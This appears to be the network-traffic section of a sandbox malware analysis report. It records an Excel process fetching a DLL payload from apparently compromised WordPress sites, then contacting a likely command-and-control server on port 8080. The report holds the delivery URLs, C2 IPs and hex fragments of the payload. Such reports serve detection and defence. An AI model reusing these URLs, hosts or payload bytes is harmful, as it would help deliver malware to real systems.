May 23, 2022 09:19:55.874545097 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:55.874627113 CEST	8080	49177	173.82.82.196	192.168.2.22
May 23, 2022 09:19:55.874655008 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:55.874687910 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:59.642301083 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:59.816121101 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:19:59.816200018 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:19:59.876319885 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:00.050039053 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:00.065025091 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:00.065053940 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:00.065108061 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:00.065306902 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:00.080734968 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:00.254055023 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:00.256560087 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:00.256627083 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:00.920012951 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:01.093472958 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:01.769525051 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:01.769751072 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:04.769853115 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:04.769954920 CEST	8080	49180	173.82.82.196	192.168.2.22
May 23, 2022 09:20:04.770006895 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:20:04.770030975 CEST	49180	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:21:14.924658060 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:14.924894094 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:21:14.925209045 CEST	49171	80	192.168.2.22	188.114.97.10
May 23, 2022 09:21:14.942805052 CEST	80	49171	188.114.97.10	192.168.2.22
May 23, 2022 09:21:14.942939043 CEST	49171	80	192.168.2.22	188.114.97.10
May 23, 2022 09:21:15.302706003 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:15.396284103 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:21:15.895546913 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:16.207583904 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:21:17.143678904 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:17.814523935 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:21:19.546293974 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:21.028516054 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:21:24.351468086 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:27.440609932 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:21:33.961934090 CEST	49175	80	192.168.2.22	193.143.77.34
May 23, 2022 09:21:37.745095968 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:21:37.745141029 CEST	49177	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:21:39.924000978 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:21:39.924045086 CEST	49179	8080	192.168.2.22	173.82.82.196
May 23, 2022 09:21:40.249258995 CEST	49173	80	192.168.2.22	160.153.40.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:19:15.081226110 CEST	55868	53	192.168.2.22	8.8.8.8
May 23, 2022 09:19:15.102648973 CEST	53	55868	8.8.8.8	192.168.2.22
May 23, 2022 09:19:19.279834032 CEST	49688	53	192.168.2.22	8.8.8.8
May 23, 2022 09:19:19.299406052 CEST	53	49688	8.8.8.8	192.168.2.22
May 23, 2022 09:19:24.631736994 CEST	58836	53	192.168.2.22	8.8.8.8
May 23, 2022 09:19:24.652940989 CEST	53	58836	8.8.8.8	192.168.2.22
May 23, 2022 09:19:28.953943014 CEST	50134	53	192.168.2.22	8.8.8.8
May 23, 2022 09:19:28.971402884 CEST	53	50134	8.8.8.8	192.168.2.22
May 23, 2022 09:19:31.081562042 CEST	55275	53	192.168.2.22	8.8.8.8
May 23, 2022 09:19:31.121392012 CEST	53	55275	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 23, 2022 09:19:15.081226110 CEST	192.168.2.22	8.8.8.8	0x2ebc	Standard query (0)	vipteck.com	A (IP address)	IN (0x0001)
May 23, 2022 09:19:19.279834032 CEST	192.168.2.22	8.8.8.8	0xfee1	Standard query (0)	salledemode.com	A (IP address)	IN (0x0001)
May 23, 2022 09:19:24.631736994 CEST	192.168.2.22	8.8.8.8	0xf9b	Standard query (0)	airliftlimo.com	A (IP address)	IN (0x0001)
May 23, 2022 09:19:28.953943014 CEST	192.168.2.22	8.8.8.8	0x5ee0	Standard query (0)	kabeonet.pl	A (IP address)	IN (0x0001)
May 23, 2022 09:19:31.081562042 CEST	192.168.2.22	8.8.8.8	0x852	Standard query (0)	www.kabeonet.pl	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 23, 2022 09:19:15.102648973 CEST	8.8.8.8	192.168.2.22	0x2ebc	No error (0)	vipteck.com		188.114.97.10	A (IP address)	IN (0x0001)
May 23, 2022 09:19:15.102648973 CEST	8.8.8.8	192.168.2.22	0x2ebc	No error (0)	vipteck.com		188.114.96.10	A (IP address)	IN (0x0001)
May 23, 2022 09:19:19.299406052 CEST	8.8.8.8	192.168.2.22	0xfee1	No error (0)	salledemode.com		160.153.40.1	A (IP address)	IN (0x0001)
May 23, 2022 09:19:24.652940989 CEST	8.8.8.8	192.168.2.22	0xf9b	No error (0)	airliftlimo.com		159.203.19.2	A (IP address)	IN (0x0001)
May 23, 2022 09:19:28.971402884 CEST	8.8.8.8	192.168.2.22	0x5ee0	No error (0)	kabeonet.pl		193.143.77.34	A (IP address)	IN (0x0001)
May 23, 2022 09:19:31.121392012 CEST	8.8.8.8	192.168.2.22	0x852	No error (0)	www.kabeonet.pl	kabeonet.pl		CNAME (Canonical name)	IN (0x0001)
May 23, 2022 09:19:31.121392012 CEST	8.8.8.8	192.168.2.22	0x852	No error (0)	kabeonet.pl		193.143.77.34	A (IP address)	IN (0x0001)
May 23, 2022 09:19:49.792171001 CEST	8.8.8.8	192.168.2.22	0x1	No error (0)	windowsupdatebg.s.llnwi.net		95.140.236.128	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

vipteck.com

airliftlimo.com

salledemode.com

kabeonet.pl

www.kabeonet.pl

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49172	188.114.97.10	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49174	159.203.19.2	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49171	188.114.97.10	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:19:15.135399103 CEST	2	OUT	GET /wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: vipteck.com Connection: Keep-Alive
May 23, 2022 09:19:15.164824009 CEST	3	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 May 2022 07:19:15 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 23 May 2022 08:19:15 GMT Location: https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=s6qLK4kjD5bfy4rus9xkFLGcSyiCjdLx%2Br%2Ft61H%2FtgWWXQeFIFYRV4INLdcQUESx1uDQKREwn6goGmxhI%2BxiIP5ZKtK%2FbZbxX8MZYuVm9XyqGLtj7GHE0CvYFxB8hQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 70fc05afacd3912e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49173	160.153.40.1	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:19:19.464550972 CEST	391	OUT	GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: salledemode.com Connection: Keep-Alive
May 23, 2022 09:19:19.643933058 CEST	393	IN	HTTP/1.1 200 OK Date: Mon, 23 May 2022 07:19:19 GMT Server: Apache X-Powered-By: PHP/7.2.34 Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Mon, 23 May 2022 07:19:19 GMT Content-Disposition: attachment; filename="me435CErJsFGw1q.dll" Content-Transfer-Encoding: binary Set-Cookie: 628b3577889f1=1653290359; expires=Mon, 23-May-2022 07:20:19 GMT; Max-Age=60; path=/ Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Mon, 23 May 2022 07:19:19 GMT Content-Length: 365056 Vary: Accept-Encoding Strict-Transport-Security: max-age=300 Keep-Alive: timeout=5 Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 f0 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b" 5T@P .text `.rdataT @@.data7@.pdata@@.rsrc@@.
May 23, 2022 09:19:19.643959045 CEST	394	IN	Data Raw: 72 65 6c 6f 63 00 00 f2 06 00 00 00 e0 05 00 00 08 00 00 00 8a 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: reloc@B
May 23, 2022 09:19:19.643975973 CEST	395	IN	Data Raw: 45 b0 f0 2d 7c 7e c7 45 b4 ec 2a 26 1a c7 45 b8 48 44 66 9d c7 45 bc 14 7c 50 76 c7 45 c0 2f 35 b6 2f c7 45 c4 72 6b 45 40 c7 45 c8 67 bf 2f 7b c7 45 cc 6d 62 50 76 c7 45 d0 98 20 2b 59 c7 45 d4 3c 09 64 ac c7 45 d8 e2 4d 20 7a c7 45 dc 24 06 55 Data Ascii: E-\|~E&EHDfE\|PvE/5/ErkE@Eg/{EmbPvE +YE<dEM zE$UENbE0kj.ExiyE:!@E=MEBXE6E;#tEIE<1E#\VE"uEAwEYPE"wEV!E .aE$"a/E(:S9E,TE0<E4mE8_
May 23, 2022 09:19:19.643994093 CEST	397	IN	Data Raw: 00 0e 75 4c f2 c7 85 08 02 00 00 33 e3 40 03 c7 85 0c 02 00 00 09 03 3e 82 c7 85 10 02 00 00 37 c3 2f 6a c7 85 14 02 00 00 a4 07 46 6c c7 85 18 02 00 00 3a 30 04 53 c7 85 1c 02 00 00 f2 78 41 38 c7 85 20 02 00 00 39 02 16 4e c7 85 24 02 00 00 bd Data Ascii: uL3@>7/jFl:0SxA8 9N$`qY(Ye,N0:y4b%8<>N@o;ED(7Hp PL5P6CT& X2{\ePO`/CdT
May 23, 2022 09:19:19.644011974 CEST	398	IN	Data Raw: 04 00 00 24 45 23 bf c7 85 20 04 00 00 a9 50 d2 78 c7 85 24 04 00 00 21 b9 a5 10 c7 85 28 04 00 00 43 2f e6 e0 c7 85 2c 04 00 00 5e 60 de e9 c7 85 30 04 00 00 23 28 a7 8b c7 85 34 04 00 00 1f 35 ee b8 c7 85 38 04 00 00 2b 4f b7 5c c7 85 3c 04 00 Data Ascii: $E# Px$!(C/,^`0#(458+O\<pu@&\hRD_lHbL+qP>TjfXX\Cb`42dq?h4%llpsoKt#xi\|
May 23, 2022 09:19:19.644031048 CEST	400	IN	Data Raw: 85 34 06 00 00 7b 24 55 7c c7 85 38 06 00 00 e0 fc 2d 85 c7 85 3c 06 00 00 95 45 1e 27 c7 85 40 06 00 00 d5 80 7d 42 c7 85 44 06 00 00 21 77 55 92 c7 85 48 06 00 00 65 d4 b4 28 c7 85 4c 06 00 00 73 9a 42 99 c7 85 50 06 00 00 d7 2b 4b 2a c7 85 54 Data Ascii: 4{$U\|8-<E'@}BD!wUHe(LsBP+K*T.lX5\`Tg9doEhulCepd$t"aVx#d\|?N3]='O5[(;.,
May 23, 2022 09:19:19.644047976 CEST	401	IN	Data Raw: 95 c7 85 4c 08 00 00 31 76 66 08 c7 85 50 08 00 00 a9 28 45 21 c7 85 54 08 00 00 5b a0 6e e2 c7 85 58 08 00 00 46 4c 49 6e c7 85 5c 08 00 00 5f 24 bd 63 c7 85 60 08 00 00 b1 d1 43 35 c7 85 64 08 00 00 71 e1 68 d3 c7 85 68 08 00 00 94 b3 8d 66 c7 Data Ascii: L1vfP(E!T[nXFLIn\_$c`C5dqhhflApxt#$xGz\|Q[nsmKa?<J(+y@p3zm
May 23, 2022 09:19:19.644619942 CEST	403	IN	Data Raw: 6b 90 62 c7 85 64 0a 00 00 eb 25 55 63 c7 85 68 0a 00 00 8b 75 0b ca c7 85 6c 0a 00 00 b2 2b a7 93 c7 85 70 0a 00 00 48 36 64 a0 c7 85 74 0a 00 00 ea 18 bc 62 c7 85 78 0a 00 00 41 9b 1e e8 c7 85 7c 0a 00 00 33 26 07 a3 c7 85 80 0a 00 00 10 66 98 Data Ascii: kbd%Uchul+pH6dtbxA\|3&fH!`AnMK3*l?xuOKx(7&).Rtp9:\|e:NKf
May 23, 2022 09:19:19.644639015 CEST	404	IN	Data Raw: 89 51 f0 48 89 51 f8 75 d8 eb 94 66 0f 1f 44 00 00 48 0f c3 11 48 0f c3 51 08 48 0f c3 51 10 48 83 c1 40 48 0f c3 51 d8 48 0f c3 51 e0 49 ff c9 48 0f c3 51 e8 48 0f c3 51 f0 48 0f c3 51 f8 75 d0 f0 80 0c 24 00 e9 54 ff ff ff cc cc cc cc cc cc 4c Data Ascii: QHQufDHHQHQH@HQHQIHQHQHQu$TLD$T$HL$HH\|$XTu3^uT3SkHwRH;B}T3\!L\|I\|3;tH
May 23, 2022 09:19:19.644658089 CEST	405	IN	Data Raw: 00 00 48 8b 84 24 c8 00 00 00 48 8b 40 08 48 89 44 24 78 48 8b 84 24 c8 00 00 00 48 8b 4c 24 78 48 8b 00 48 2b c1 48 89 44 24 68 48 8b 84 24 c8 00 00 00 48 8b 40 38 48 89 84 24 88 00 00 00 48 8b 84 24 b0 00 00 00 8b 40 04 83 e0 66 85 c0 0f 85 04 Data Ascii: H$H@HD$xH$HL$xHH+HD$hH$H@8H$H$@fH$HD$8H$HD$@H$@HD$0D$0D$0H$9D$0D$0HkH$DH9D$hD$0HkH$DH9D$hsD$0HkH$\|
May 23, 2022 09:19:19.802902937 CEST	407	IN	Data Raw: d2 48 8b 4c 24 30 e8 62 00 00 00 ff 15 74 e2 01 00 48 8b 4c 24 30 89 01 48 8b 44 24 30 48 c7 40 08 ff ff ff ff b8 01 00 00 00 48 83 c4 48 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 28 83 3d 25 72 02 00 ff 74 16 8b 0d 1d 72 02 00 ff 15 Data Ascii: HL$0btHL$0HD$0H@HHH(=%rtrrRH(HT$HL$H(HD$0HHHD$0@HD$0@HD$0HD$0tCHD$0CHD$0HxHSTHD$0H

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49175	193.143.77.34	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:19:29.019248009 CEST	1152	OUT	GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: kabeonet.pl Connection: Keep-Alive
May 23, 2022 09:19:31.049067020 CEST	1153	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 23 May 2022 07:19:29 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Location: http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/ Content-Length: 0 Keep-Alive: timeout=2, max=100 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49176	193.143.77.34	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
May 23, 2022 09:19:31.166353941 CEST	1153	OUT	GET /wp-admin/VWlAz5vWJNHDb/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.kabeonet.pl Connection: Keep-Alive
May 23, 2022 09:19:32.260165930 CEST	1155	IN	HTTP/1.1 404 Not Found Date: Mon, 23 May 2022 07:19:31 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.kabeonet.pl/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Keep-Alive: timeout=2, max=100 Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 31 66 30 30 0d 0a 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 2d 50 4c 22 3e 0d 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 0d 0a 09 09 0d 0a 09 09 09 4e 69 65 20 7a 6e 61 6c 65 7a 69 6f 6e 6f 20 73 74 72 6f 6e 79 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 09 09 0d 0a 09 09 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 31 30 30 2c 33 30 30 26 73 75 62 73 65 74 3d 6c 61 74 69 6e 2c 6c 61 74 69 6e 2d 65 78 74 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 09 09 0d 0a 20 20 20 20 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 31 38 2e 39 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6c 5f 50 4c 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 74 72 6f 6e 79 20 6e 69 65 20 7a 6e 61 6c 65 7a 69 6f 6e 6f 20 2d 20 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a Data Ascii: 11f00<!DOCTYPE html>...[if IE 7]><html class="ie ie7" lang="pl-PL"><![endif]-->...[if IE 8]><html class="ie ie8" lang="pl-PL"><![endif]-->...[if !(IE 7) & !(IE 8)]>...><html lang="pl-PL">...<![endif]--><head><meta charset="UTF-8" /><title>Nie znaleziono stronyProjektowanie stron internetowych Opole</title><link rel="profile" href="http://gmpg.org/xfn/11"><meta name="viewport" content="width=device-width, initial-scale=1.0"><link href='https://fonts.googleapis.com/css?family=Roboto:400,100,300&subset=latin,latin-ext' rel='stylesheet' type='text/css'> <meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v18.9 - https://yoast.com/wordpress/plugins/seo/ --><meta property="og:locale" content="pl_PL" /><meta property="og:title" content="Strony nie znaleziono - Projektowanie stron internetowych Opole" /><meta property="og:
May 23, 2022 09:19:32.260215998 CEST	1156	IN	Data Raw: 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6c 65 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 Data Ascii: site_name" content="Projektowanie stron internetowych Opole" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://www.kabeonet.pl/#organization","na
May 23, 2022 09:19:32.260242939 CEST	1158	IN	Data Raw: 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c Data Ascii: bootstrapcdn.com' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//s.w.org' /><link rel='dns-prefetch' href='//c0.wp.com' /><link rel='dns-prefetch' href='//i0.wp.com' /><script type="text/javascript">
May 23, 2022 09:19:32.260267973 CEST	1159	IN	Data Raw: 21 73 28 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 2c 5b 35 35 33 35 36 2c 35 36 38 32 36 2c 38 32 30 33 2c 35 35 33 35 36 2c 35 36 38 31 39 5d 29 26 26 21 73 28 5b 35 35 33 35 36 2c 35 37 33 33 32 2c 35 36 31 32 Data Ascii: !s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,
